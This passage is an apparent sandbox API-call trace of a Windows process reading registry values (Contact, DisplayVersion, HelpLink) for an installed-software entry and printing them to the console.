lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.159] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.159] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.159] GetProcessHeap () returned 0x2e0000 [0147.159] GetProcessHeap () returned 0x2e0000 [0147.159] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.159] GetProcessHeap () returned 0x2e0000 [0147.159] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x9e [0147.159] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970 | out: hHeap=0x2e0000) returned 1 [0147.159] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.159] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.159] GetProcessHeap () returned 0x2e0000 [0147.159] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.159] GetProcessHeap () returned 0x2e0000 [0147.159] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.159] GetProcessHeap () returned 0x2e0000 [0147.159] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.159] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.159] __iob_func () returned 0x7fefd702a80 [0147.159] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.159] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.160] _fileno (_File=0x7fefd702ab0) returned 1 [0147.160] _errno () returned 0xc4bb0 [0147.160] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.160] _errno () returned 0xc4bb0 [0147.160] GetFileType (hFile=0x50) returned 0x1 [0147.160] lstrlenW (lpString=" ") returned 4 [0147.160] GetConsoleOutputCP () returned 0x1b5 [0147.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.160] GetConsoleOutputCP () returned 0x1b5 [0147.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.160] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.160] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.160] lstrlenW (lpString="Contact") returned 7 [0147.160] __iob_func () returned 0x7fefd702a80 [0147.160] _fileno (_File=0x7fefd702ab0) returned 1 [0147.160] _errno () returned 0xc4bb0 [0147.160] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.160] _errno () returned 0xc4bb0 [0147.160] GetFileType (hFile=0x50) returned 0x1 [0147.160] lstrlenW (lpString="Contact") returned 7 [0147.160] GetConsoleOutputCP () returned 0x1b5 [0147.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.160] GetConsoleOutputCP () returned 0x1b5 [0147.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0147.161] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.161] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.161] __iob_func () returned 0x7fefd702a80 [0147.161] _fileno (_File=0x7fefd702ab0) returned 1 [0147.161] _errno () returned 0xc4bb0 [0147.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.161] _errno () returned 0xc4bb0 [0147.161] GetFileType (hFile=0x50) returned 0x1 [0147.161] lstrlenW (lpString=" ") returned 4 [0147.161] GetConsoleOutputCP () returned 0x1b5 [0147.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.161] GetConsoleOutputCP () returned 0x1b5 [0147.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.161] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.161] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.161] __iob_func () returned 0x7fefd702a80 [0147.161] _fileno (_File=0x7fefd702ab0) returned 1 [0147.161] _errno () returned 0xc4bb0 [0147.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.161] _errno () returned 0xc4bb0 [0147.161] GetFileType (hFile=0x50) returned 0x1 [0147.161] lstrlenW (lpString="REG_SZ") returned 6 [0147.162] GetConsoleOutputCP () returned 0x1b5 [0147.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.162] GetConsoleOutputCP () returned 0x1b5 [0147.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.162] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.162] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.162] __iob_func () returned 0x7fefd702a80 [0147.162] _fileno (_File=0x7fefd702ab0) returned 1 [0147.162] _errno () returned 0xc4bb0 [0147.162] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.162] _errno () returned 0xc4bb0 [0147.162] GetFileType (hFile=0x50) returned 0x1 [0147.162] lstrlenW (lpString=" ") returned 4 [0147.163] GetConsoleOutputCP () returned 0x1b5 [0147.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.163] GetConsoleOutputCP () returned 0x1b5 [0147.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.163] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.163] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.163] __iob_func () returned 0x7fefd702a80 [0147.163] _fileno (_File=0x7fefd702ab0) returned 1 [0147.163] _errno () returned 0xc4bb0 [0147.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.163] _errno () returned 0xc4bb0 [0147.163] GetFileType (hFile=0x50) returned 0x1 [0147.163] lstrlenW (lpString="") returned 0 [0147.163] __iob_func () returned 0x7fefd702a80 [0147.163] _fileno (_File=0x7fefd702ab0) returned 1 [0147.163] _errno () returned 0xc4bb0 [0147.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.163] _errno () returned 0xc4bb0 [0147.163] GetFileType (hFile=0x50) returned 0x1 [0147.163] lstrlenW (lpString="\n") returned 1 [0147.163] GetConsoleOutputCP () returned 0x1b5 [0147.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.163] GetConsoleOutputCP () returned 0x1b5 [0147.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.164] GetProcessHeap () returned 0x2e0000 [0147.164] GetProcessHeap () returned 0x2e0000 [0147.164] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.164] GetProcessHeap () returned 0x2e0000 [0147.164] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.164] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.164] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.164] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x18) returned 0x0 [0147.164] GetProcessHeap () returned 0x2e0000 [0147.164] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1a) returned 0x2f5bf0 [0147.164] GetProcessHeap () returned 0x2e0000 [0147.164] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.164] GetProcessHeap () returned 0x2e0000 [0147.164] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0147.164] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x18 | out: pdwType=0x23f5f0*=0x1, pvData="11.0.61030", pcbData=0x23f670*=0x16) returned 0x0 [0147.164] __iob_func () returned 0x7fefd702a80 [0147.164] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.164] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.164] _fileno (_File=0x7fefd702ab0) returned 1 [0147.164] _errno () returned 0xc4bb0 [0147.164] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.164] _errno () returned 0xc4bb0 [0147.164] GetFileType (hFile=0x50) returned 0x1 [0147.164] lstrlenW (lpString=" ") returned 4 [0147.164] GetConsoleOutputCP () returned 0x1b5 [0147.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.165] GetConsoleOutputCP () returned 0x1b5 [0147.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.165] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.165] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.165] lstrlenW (lpString="DisplayVersion") returned 14 [0147.165] __iob_func () returned 0x7fefd702a80 [0147.165] _fileno (_File=0x7fefd702ab0) returned 1 [0147.165] _errno () returned 0xc4bb0 [0147.165] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.165] _errno () returned 0xc4bb0 [0147.165] GetFileType (hFile=0x50) returned 0x1 [0147.165] lstrlenW (lpString="DisplayVersion") returned 14 [0147.165] GetConsoleOutputCP () returned 0x1b5 [0147.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.165] GetConsoleOutputCP () returned 0x1b5 [0147.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0147.165] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.165] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.166] __iob_func () returned 0x7fefd702a80 [0147.166] _fileno (_File=0x7fefd702ab0) returned 1 [0147.166] _errno () returned 0xc4bb0 [0147.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.166] _errno () returned 0xc4bb0 [0147.166] GetFileType (hFile=0x50) returned 0x1 [0147.166] lstrlenW (lpString=" ") returned 4 [0147.166] GetConsoleOutputCP () returned 0x1b5 [0147.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.166] GetConsoleOutputCP () returned 0x1b5 [0147.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.166] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.166] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.166] __iob_func () returned 0x7fefd702a80 [0147.166] _fileno (_File=0x7fefd702ab0) returned 1 [0147.166] _errno () returned 0xc4bb0 [0147.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.166] _errno () returned 0xc4bb0 [0147.166] GetFileType (hFile=0x50) returned 0x1 [0147.166] lstrlenW (lpString="REG_SZ") returned 6 [0147.166] GetConsoleOutputCP () returned 0x1b5 [0147.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.167] GetConsoleOutputCP () returned 0x1b5 [0147.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.167] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.167] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.167] __iob_func () returned 0x7fefd702a80 [0147.167] _fileno (_File=0x7fefd702ab0) returned 1 [0147.167] _errno () returned 0xc4bb0 [0147.167] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.167] _errno () returned 0xc4bb0 [0147.167] GetFileType (hFile=0x50) returned 0x1 [0147.167] lstrlenW (lpString=" ") returned 4 [0147.167] GetConsoleOutputCP () returned 0x1b5 [0147.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.167] GetConsoleOutputCP () returned 0x1b5 [0147.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.167] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.167] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.167] __iob_func () returned 0x7fefd702a80 [0147.167] _fileno (_File=0x7fefd702ab0) returned 1 [0147.167] _errno () returned 0xc4bb0 [0147.167] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.167] _errno () returned 0xc4bb0 [0147.168] GetFileType (hFile=0x50) returned 0x1 [0147.168] lstrlenW (lpString="11.0.61030") returned 10 [0147.168] GetConsoleOutputCP () returned 0x1b5 [0147.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.168] GetConsoleOutputCP () returned 0x1b5 [0147.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.0.61030", lpUsedDefaultChar=0x0) returned 10 [0147.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.168] __iob_func () returned 0x7fefd702a80 [0147.168] _fileno (_File=0x7fefd702ab0) returned 1 [0147.168] _errno () returned 0xc4bb0 [0147.168] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.168] _errno () returned 0xc4bb0 [0147.168] GetFileType (hFile=0x50) returned 0x1 [0147.168] lstrlenW (lpString="\n") returned 1 [0147.168] GetConsoleOutputCP () returned 0x1b5 [0147.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.168] GetConsoleOutputCP () returned 0x1b5 [0147.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.169] GetProcessHeap () returned 0x2e0000 [0147.169] GetProcessHeap () returned 0x2e0000 [0147.169] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.169] GetProcessHeap () returned 0x2e0000 [0147.169] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0147.169] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.169] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.169] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0147.169] GetProcessHeap () returned 0x2e0000 [0147.169] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x2fb7d0 [0147.169] GetProcessHeap () returned 0x2e0000 [0147.169] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.169] GetProcessHeap () returned 0x2e0000 [0147.169] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5e [0147.169] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x23f670*=0x5c) returned 0x0 [0147.169] __iob_func () returned 0x7fefd702a80 [0147.169] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.169] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.169] _fileno (_File=0x7fefd702ab0) returned 1 [0147.169] _errno () returned 0xc4bb0 [0147.169] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.169] _errno () returned 0xc4bb0 [0147.169] GetFileType (hFile=0x50) returned 0x1 [0147.169] lstrlenW (lpString=" ") returned 4 [0147.169] GetConsoleOutputCP () returned 0x1b5 [0147.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.169] GetConsoleOutputCP () returned 0x1b5 [0147.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.170] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.170] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.170] lstrlenW (lpString="HelpLink") returned 8 [0147.170] __iob_func () returned 0x7fefd702a80 [0147.170] _fileno (_File=0x7fefd702ab0) returned 1 [0147.170] _errno () returned 0xc4bb0 [0147.170] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.170] _errno () returned 0xc4bb0 [0147.170] GetFileType (hFile=0x50) returned 0x1 [0147.170] lstrlenW (lpString="HelpLink") returned 8 [0147.170] GetConsoleOutputCP () returned 0x1b5 [0147.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.170] GetConsoleOutputCP () returned 0x1b5 [0147.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0147.170] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.170] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.170] __iob_func () returned 0x7fefd702a80 [0147.170] _fileno (_File=0x7fefd702ab0) returned 1 [0147.170] _errno () returned 0xc4bb0 [0147.170] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.170] _errno () returned 0xc4bb0 [0147.170] GetFileType (hFile=0x50) returned 0x1 [0147.170] lstrlenW (lpString=" ") returned 4 [0147.171] GetConsoleOutputCP () returned 0x1b5 [0147.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.171] GetConsoleOutputCP () returned 0x1b5 [0147.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.171] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.171] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.171] __iob_func () returned 0x7fefd702a80 [0147.171] _fileno (_File=0x7fefd702ab0) returned 1 [0147.171] _errno () returned 0xc4bb0 [0147.171] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.171] _errno () returned 0xc4bb0 [0147.171] GetFileType (hFile=0x50) returned 0x1 [0147.171] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.171] GetConsoleOutputCP () returned 0x1b5 [0147.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.171] GetConsoleOutputCP () returned 0x1b5 [0147.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.171] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.171] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.171] __iob_func () returned 0x7fefd702a80 [0147.172] _fileno (_File=0x7fefd702ab0) returned 1 [0147.172] _errno () returned 0xc4bb0 [0147.172] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.172] _errno () returned 0xc4bb0 [0147.172] GetFileType (hFile=0x50) returned 0x1 [0147.172] lstrlenW (lpString=" ") 